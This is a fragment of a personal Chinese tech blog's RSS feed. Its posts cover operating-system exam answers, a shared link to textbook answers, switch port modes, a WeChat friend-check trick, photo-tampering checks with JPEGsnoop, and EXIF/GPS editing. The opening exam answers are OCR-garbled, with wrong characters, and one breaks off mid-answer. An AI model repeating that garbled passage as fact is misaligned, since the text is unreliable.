	<strong>(1)&nbsp;数据的分布处理和存储。<span>（</span>2)便于集中管理。<span>（</span>3)灵活性和可扩充性。</strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong>(4)&nbsp;易于改编应用软件。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>22.&nbsp;现代操作系统较之传统操作系统又增加了哪些功能和特征？</strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong>(1)&nbsp;<span>进程</span>(线程)管理•（2)低级存储器管理。<span>（</span>3)中断和陷入处理。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>24.&nbsp;在基于微内核结构的0S中，应用了哪些新技术？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：在桩十微内核结构的0S中，采爪面向对象的程序设汁技术<sub>s</sub> </strong>
</p>
<p class="18" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>25.&nbsp;何诮微内核技术？在微内核中通常提供丫哪些功能？</strong>
</p>
<p class="18" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：把操作系统中更多的成分和功能放到更高的层次（即卬户模式）<span>中去运行，</span> <span>而留下</span>一<span>个尽景小的内核，用它来完成操作系统最锥本的核心功能，称这种技术</span> <span>为微内核技术。在微内核中通常提供了进程（线程</span>）<span>管理、低级存储器管理、中</span> <span>断和陷入处理等功能。</span> </strong>
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Mon, 08 Oct 2018 08:42:57 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=26</guid>

</item>
<item>
	<title>信息安全原理与技术课后答案(第二版)</title>
	<link>https://www.zuoer.xin/?post=25</link>
	<description><![CDATA[链接：<a href="https://pan.baidu.com/s/1XsKz-W4s6MiSylqJ3AIIxQ" target="_blank">https://pan.baidu.com/s/1XsKz-W4s6MiSylqJ3AIIxQ </a>密码：6fxj]]></description>
	<pubDate>Wed, 19 Sep 2018 10:49:04 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=25</guid>

</item>
<item>
	<title>区别：交换机三种端口模式Access、Hybrid和Trunk</title>
	<link>https://www.zuoer.xin/?post=24</link>
	<description><![CDATA[<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	<strong> 以太网端口有 3种链路类型：access、trunk、hybird</strong> 
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	Access类型端口：只能属于1个VLAN，一般用于连接计算机端口；
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	Trunk类型端口：可以允许多个VLAN通过,可以接收和发送多个VLAN 报文,
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	一般用于交换机与交换机相关的接口。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	Hybrid类型端口：可以允许多个VLAN通过，可以接收和发送多个VLAN 报文，
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	可以用于交换机的间连接也可以用于连接用户计算机。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	首先，将交换机的类型进行划分，交换机分为低端(SOHO级)和高端(企业级)。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	其两者的重要区别就是低端的交换机每一个物理端口为一个逻辑端口，而高端交换机则是将多个物理端口捆绑成一个逻辑端口再进行的配置的。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	例如
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	cisco网络中，交换机在局域网中最终稳定状态的接口类型主要有四种：access/trunk/ multi/ dot1q-tunnel。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	1、access: 主要用来接入终端设备，如PC机、服务器、打印服务器等。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	2、trunk: 主要用在连接其它交换机，以便在线路上承载多个vlan。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	3、multi: 在一个线路中承载多个vlan，但不像trunk,它不对承载的数据打标签。主要用于接入支持多vlan的服务器或者一些网络分析设备。现在基本不使用此类接口，在cisco的网络设备中，也基本不支持此类接口了。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	4、dot1q-tunnel: 用在Q-in-Q隧道配置中。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	<strong> 什么是链路类型？</strong> 
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	vlan的链路类型可以分为接入链路和干道链路。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	1、接入链路（access link）指的交换机到用户设备的链路，即是接入到户，可以理解为由交换机向用户的链路。由于大多数电脑不能发送带vlan tag的帧，所以这段链路可以理解为不带vlan tag的链路。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	2、干道链路（trunk link）指的交换机到上层设备如路由器的链路，可以理解为向广域网走的链路。这段链路由于要靠vlan来区分用户或者服务，所以一般都带有vlan tag。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	<strong> 什么是端口类型？</strong> 
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	端口类型在以前主要分为两种，基本上用的也是access和trunk这两种端口。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	1、access端口：它是交换机上用来连接用户电脑的一种端口，只用于接入链路。例如：当一个端口属于vlan 10时，那么带着vlan 10的数据帧会被发送到交换机这个端口上，当这个数据帧通过这个端口时，vlan 10 tag 将会被剥掉，到达用户电脑时，就是一个以太网的帧。而当用户电脑发送一个以太网的帧时，通过这个端口向上走，那么这个端口就会给这个帧加上一个vlan 10 tag。而其他vlan tag的帧则不能从这个端口上下发到电脑上。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	2、trunk端口：这个端口是交换机之间或者交换机和上层设备之间的通信端口，用于干道链路。一个trunk端口可以拥有一个主vlan和多个副vlan，这个概念可以举个例子来理解：例如：当一个trunk端口有主vlan 10 和多个副vlan11、12、30时，带有vlan 30的数据帧可以通过这个端口，通过时vlan 30不被剥掉；当带有vlan 10的数据帧通过这个端口时也可以通过。如果一个不带vlan 的数据帧通过，那么将会被这个端口打上vlan 10 tag。这种端口的存在就是为了多个vlan的跨越交换机进行传递。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	也可以看出，这两种链路方式恰好对应两种端口方式，理解起来也不算困难。原理理解了，当看到交换机时，配置几遍就完全明白了。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	access和truck 主要是区分VLAN中交换机的端口类型
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	truck端口为与其它交换机端口相连的VLAN汇聚口，access端口为交换机与VLAN域中主机相连的端口。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	trunk一般是打tag标记的,一般只允许打了该tag标记的vlan 通过,所以该端口可以允许多个打tag标记的vlan 通过，而access端口一般是untag不打标记的端口,而且一个access vlan端口只允许一个access vlan通过。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	access,trunk,hybid是三种端口属性；
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	具有access性质的端口只能属于一个vlan，且该端口不打tag；
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	具有trunk性质的端口可以属于多个vlan，且该端口都是打tag的；
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	具有hybid性质的端口可以属于多个vlan，至于该端口在vlan中是否打tag由用户根据具体情况而定；
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	交换机三种端口模式Access、Hybrid和Trunk的理解
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	端口有三种模式：access，hybrid，trunk。access性质的端口只能属于一个vlan，且该端口不打tag，trunk可以属于多个vlan，可以接收和发送多个vlan的报文，一般用于交换机之间的连接;hybrid也可以属于多个vlan，可以接收和发送多个vlan的报文，可以用于交换机之间的连接也可以用于交换机和用户计算机之间的连接。trunk和hybrid的区别主要是，hybrid端口可以允许多个vlan的报文不打标签，而 trunk端口只允许缺省vlan的报文不打标签，同一个交换机上不能hybrid和trunk并存。
</p>
<p style="margin-top:25px;margin-bottom:25px;padding:0px;letter-spacing:0.2px;width:640px;overflow:hidden;font-size:16px;color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	<span style="font-size:9px;">转自</span><span style="font-size:9px;">http://www.qianjia.com/html/2018-06/06_294718.html</span>
</p>]]></description>
	<pubDate>Tue, 18 Sep 2018 08:18:12 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=24</guid>

</item>
<item>
	<title>微信检测对方是否是你好友，并且对方收不到消息（不打扰对方）</title>
	<link>https://www.zuoer.xin/?post=23</link>
	<description><![CDATA[<p>
	<span style="font-size:18px;">1.首先需要的复制下面的三个符号：</span> 
</p>
<p>
	<span style="font-size:18px;"><span style="white-space:normal;">&nbsp; ॣ ॣ ॣ</span><span style="white-space:normal;"></span></span> 
</p>
<p>
	<span style="font-size:18px;"><span style="white-space:normal;">（一定要三个，可先复制一个粘贴三次）</span></span> 
</p>
<p>
	<span style="font-size:18px;">2.发给好友</span> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/94141537154148.jpg" id="ematt:63"><img src="https://www.zuoer.xin/content/uploadfile/201809/94141537154148.jpg" title="点击查看原图" alt="13.jpg" border="0" width="540" height="960" /></a> 
</p>
<p>
	<br />
</p>
<p>
	<span style="font-size:18px;">3.看对方收到的情况</span> 
</p>
<p>
	<br />
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/edab1537154167.jpg" id="ematt:65"><img src="https://www.zuoer.xin/content/uploadfile/201809/edab1537154167.jpg" title="点击查看原图" alt="14.jpg" border="0" width="540" height="1170" /></a> 
</p>
<p>
	<br />
</p>
<p>
	赶快行动吧，微信搜索"群发助手"可以群发，一次最多发200人。
</p>]]></description>
	<pubDate>Mon, 17 Sep 2018 03:09:25 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=23</guid>

</item>
<item>
	<title>用JPEGsnoop检查照片有没被PS处理修改过</title>
	<link>https://www.zuoer.xin/?post=22</link>
	<description><![CDATA[<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;JPEGsnoop 是一款免费的照片真实性检测软件，它能读取各种编码信息来帮你判断出图片有没有被软件修改或编辑过。当你遇到有怀疑的照片时，可以用它来试试看，还是颇为有趣的。软件不仅支持普通的JPG格式，也支持内嵌在 PDF、AVI、MOV 等文件的图像。都说有图有真相，嗯，那是得有了 JPEGsnoop 之后才算……&nbsp; &nbsp;
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;<a href="http://baoku.360.cn/soft/show/appid/102015582" target="_blank" style="text-decoration-line:none;outline:0px;color:#999999;">JPEGsnoop软件免费下载，点击下载&gt;&gt;</a> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp; &nbsp;&nbsp;<strong>怎样使用 JPEGsnoop 来检查和鉴定照片？</strong> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;&nbsp;&nbsp; 找人做原图恢复信息，如何知道是否恢复到原始状态？用JPEGsnoop来检测便一目了然。 JPEGsnoop的使用方式非常简单，首次运行勾上“I hvae read and agree to the terms above”，然后点击菜单 “File” -&gt; “Open image” 打开你需要检查的图片，或者直接拖放图片到软件上，它就会自动读取图片的信息了。界面上一大串文字其实并不需理会，将滚动条拉到最底部看后面的几行就行了。&nbsp;
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;">&nbsp;如果你看到有 SW 字样的文字，譬如 SW : [Adobe PhotoShop] &nbsp;或者 SW : [XnView] 等，那么就说明这张图片很有可能是被 PhotoShop 或 XnView 修改过。</span> 
</p>
<div style="color:#333333;font-family:&quot;font-size:17px;white-space:normal;line-height:28px;padding-top:5px;">
	<div style="padding:0px 0px 34px;text-align:center;overflow:hidden;position:relative;">
		<a href="http://photo.blog.sina.com.cn/showpic.html#blogid=&amp;url=http://album.sina.com.cn/pic/0062lmIezy75K0w8IRz69" target="_blank" style="text-decoration-line:none;outline:0px;color:#999999;"><img src="http://s10.sinaimg.cn/mw690/0062lmIezy75K0w8IRz69" real_src="http://s10.sinaimg.cn/mw690/0062lmIezy75K0w8IRz69" alt="" title="" action-data="http%3A%2F%2Fs10.sinaimg.cn%2Fmw690%2F0062lmIezy75K0w8IRz69" action-type="show-slide" style="vertical-align:middle;max-width:100%;" /></a> 
	</div>
</div>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;"><br />
</span> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;"><strong>注意：凡是带有 SW 字样的，都是被软件修改过，SW后面的就是可能修改的软件，如下图所示：</strong>&nbsp;&nbsp;</span> 
</p>
<div style="color:#333333;font-family:&quot;font-size:17px;white-space:normal;line-height:28px;padding-top:5px;">
	<div style="padding:0px 0px 34px;text-align:center;overflow:hidden;position:relative;">
		<a href="http://photo.blog.sina.com.cn/showpic.html#blogid=&amp;url=http://album.sina.com.cn/pic/0062lmIezy75K0wZGEQa4" target="_blank" style="text-decoration-line:none;outline:0px;color:#999999;"><img src="http://s5.sinaimg.cn/mw690/0062lmIezy75K0wZGEQa4" real_src="http://s5.sinaimg.cn/mw690/0062lmIezy75K0wZGEQa4" alt="" title="" action-data="http%3A%2F%2Fs5.sinaimg.cn%2Fmw690%2F0062lmIezy75K0wZGEQa4" action-type="show-slide" style="vertical-align:middle;max-width:100%;" /></a> 
	</div>
</div>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;"><br />
</span> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;当然，不仅仅是 SW 那一个值，JPEGsnoop 最后其实还会给你一个分析结果的（ASSESSMENT字眼开头）。为此，我特意进行了几次测试，结果如下：&nbsp;
</p>
<div style="color:#333333;font-family:&quot;font-size:17px;white-space:normal;line-height:28px;padding-top:5px;">
	<div style="padding:0px 0px 34px;text-align:center;overflow:hidden;position:relative;">
		<a href="http://photo.blog.sina.com.cn/showpic.html#blogid=&amp;url=http://album.sina.com.cn/pic/0062lmIezy75K0AmNeTef" target="_blank" style="text-decoration-line:none;outline:0px;color:#999999;"><img src="http://s16.sinaimg.cn/mw690/0062lmIezy75K0AmNeTef" real_src="http://s16.sinaimg.cn/mw690/0062lmIezy75K0AmNeTef" alt="" title="" action-data="http%3A%2F%2Fs16.sinaimg.cn%2Fmw690%2F0062lmIezy75K0AmNeTef" action-type="show-slide" style="vertical-align:middle;max-width:100%;" /></a><a style="outline:0px;color:#999999;">&nbsp;</a> 
	</div>
</div>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;测试使用拍摄的照片的原图进行检查：
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp; &nbsp;<span style="color:#CC0000;">ASSESSMENT: Class 3 - Image has high probability of being original&nbsp; (翻译：图像极有可能是原图。此级别为是最高的，是恢复到原始图片了)</span> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;">&nbsp; &nbsp;对图片进行压缩：</span> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;">&nbsp; &nbsp;ASSESSMENT: Class 4 - Uncertain if processed or original（翻译：不能确定是否编辑过还是原图。4级也是原图，只是软件没有预设该相机型号，但是不能有 SW 那个值，有sw的都是软件修改过的。）</span> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;">&nbsp; &nbsp;给照片增加亮度并且加深对比度：</span> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<span style="color:#CC0000;">&nbsp; &nbsp;ASSESSMENT: Class 1 - Image is processed/edited（翻译：图像已经被处理或编辑过）</span>&nbsp;
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;另外，你也可以在这堆文字里看到照片的各种其他的信息，譬如 CAM 后面就是拍摄这张照片的相机型号了，有兴趣的同学可以多多挖掘一下。&nbsp;
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	&nbsp;&nbsp;<strong>为什么JPEGsnoop可以看出图片有没有被修改过？&nbsp; &nbsp;</strong> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	其实，在图片文件中并不仅仅是存储图片的信息，它也会记录很多附加的信息，譬如拍摄相机型号、地理位置等等，很多的这些信息可以看作是照片的数字签名。但如果图片经历过被修改保存、转换格式或者压缩大小等操作，很多时候软件都会在图片文件中留下一些信息或者破坏了图片原本的信息。那么，JPEGsnoop只要对这些信息进行检查，就能判断照片有没被修改过了。&nbsp; &nbsp;
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<strong>附上两张 相机原图 和 被修改过的数据，一目了然：</strong> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<strong>1. 相机原图信息：</strong> 
</p>
<div style="color:#333333;font-family:&quot;font-size:17px;white-space:normal;line-height:28px;padding-top:5px;">
	<div style="padding:0px 0px 34px;text-align:center;overflow:hidden;position:relative;">
		<a href="http://photo.blog.sina.com.cn/showpic.html#blogid=&amp;url=http://album.sina.com.cn/pic/0062lmIezy75K0Lgird4f" target="_blank" style="text-decoration-line:none;outline:0px;color:#999999;"><img src="http://s16.sinaimg.cn/mw690/0062lmIezy75K0Lgird4f" real_src="http://s16.sinaimg.cn/mw690/0062lmIezy75K0Lgird4f" alt="" title="" action-data="http%3A%2F%2Fs16.sinaimg.cn%2Fmw690%2F0062lmIezy75K0Lgird4f" action-type="show-slide" style="vertical-align:middle;max-width:100%;" /></a> 
	</div>
</div>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<strong><br />
</strong> 
</p>
<p style="margin-top:0px;margin-bottom:22px;padding:0px;color:#333333;font-family:&quot;font-size:17px;white-space:normal;">
	<strong></strong><strong>2. 图片被修改后的信息：</strong> 
</p>
<div style="color:#333333;font-family:&quot;font-size:17px;white-space:normal;line-height:28px;padding-top:5px;">
	<div style="padding:0px 0px 34px;text-align:center;overflow:hidden;position:relative;">
		<a href="http://photo.blog.sina.com.cn/showpic.html#blogid=&amp;url=http://album.sina.com.cn/pic/0062lmIezy75K4SaPQM24" target="_blank" style="text-decoration-line:none;outline:0px;color:#999999;"><img src="http://s5.sinaimg.cn/mw690/0062lmIezy75K4SaPQM24" real_src="http://s5.sinaimg.cn/mw690/0062lmIezy75K4SaPQM24" alt="" title="" action-data="http%3A%2F%2Fs5.sinaimg.cn%2Fmw690%2F0062lmIezy75K4SaPQM24" action-type="show-slide" style="vertical-align:middle;max-width:100%;" /></a> 
	</div>
	<div>
		转自http://blog.sina.com.cn/s/blog_149b31ac60102wepu.html
	</div>
</div>]]></description>
	<pubDate>Sun, 16 Sep 2018 09:43:35 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=22</guid>

</item>
<item>
	<title>Opanda PowerExif1.2.2专业版 修改删除添加图片相机属性EXIF信息</title>
	<link>https://www.zuoer.xin/?post=21</link>
	<description><![CDATA[<span style="color:#333333;">
<p>
	<span style="box-sizing:border-box;outline:0px;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;"><span style="background-color:#FFFFFF;">
	<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;">
		<div style="color:#333333;font-family:&quot;font-size:18px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);text-align:center;">
			<span style="font-size:16px;font-family:微软雅黑;"><strong>在这个信息时代要学会如何隐藏自己的信息！</strong></span>
		</div>
<span style="box-sizing:border-box;outline:0px;word-break:break-all;">
		<div style="text-align:center;">
			<span style="font-family:微软雅黑;"><span style="font-size:14px;"><br />
</span></span>
		</div>
<span style="color:#333333;font-family:微软雅黑;font-size:14px;white-space:normal;box-sizing:border-box;outline:0px;word-break:break-all;">
		<div style="text-align:left;">
			<span style="font-size:16px;"><strong>下面介绍如何隐藏自己照片的GPS信息</strong></span>
		</div>
<span style="box-sizing:border-box;outline:0px;word-break:break-all;"><span style="font-size:16px;"></span><br />
</span></span></span>
	</p>
	<p style="color:#333333;font-family:&quot;font-size:18px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">EXIF介绍：<br />
</span></span></span>
	</p>
	<p style="color:#333333;font-family:&quot;font-size:18px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">Exif就是用来记录拍摄图像时的各种信息：图像信息（厂商，分辨率等），相机拍摄记录（ISO，白平衡，饱和度，锐度等），缩略图（缩略图宽度，高度等），gps（拍摄时的经度，纬度，高度）等，将这些信息按照JPEG文件标准放在图像文件头部。<br />
</span></span></span>
	</p>
	<p style="color:#333333;font-family:&quot;font-size:18px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">Exchangeable Image File(可交换图像文件)的缩写，</span></span><br style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;" />
<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">&nbsp; &nbsp; 最初由日本电子工业发展协会(JEIDA --Japan Electronic Industry Development Association) 制订，目前的最新版本是2.21 版。</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">国际标准化组织(ISO)正在制订的相机文件设计标准（DCF -- Design role for Camera File system）可能以Exif2.1为基础。</span></span><br style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;" />
<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">&nbsp; &nbsp; Exif 文件实际是JPEG文件的一种，遵从JPEG标准，只是在文件头</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">中增加了有关拍摄</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">的内容和索引图。所以你可以使用任何</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">支持JPEG格式的图像工具软件观看或修改Exif文件，但打开时可能看不到Exif</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">，一旦修改，Exif</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span 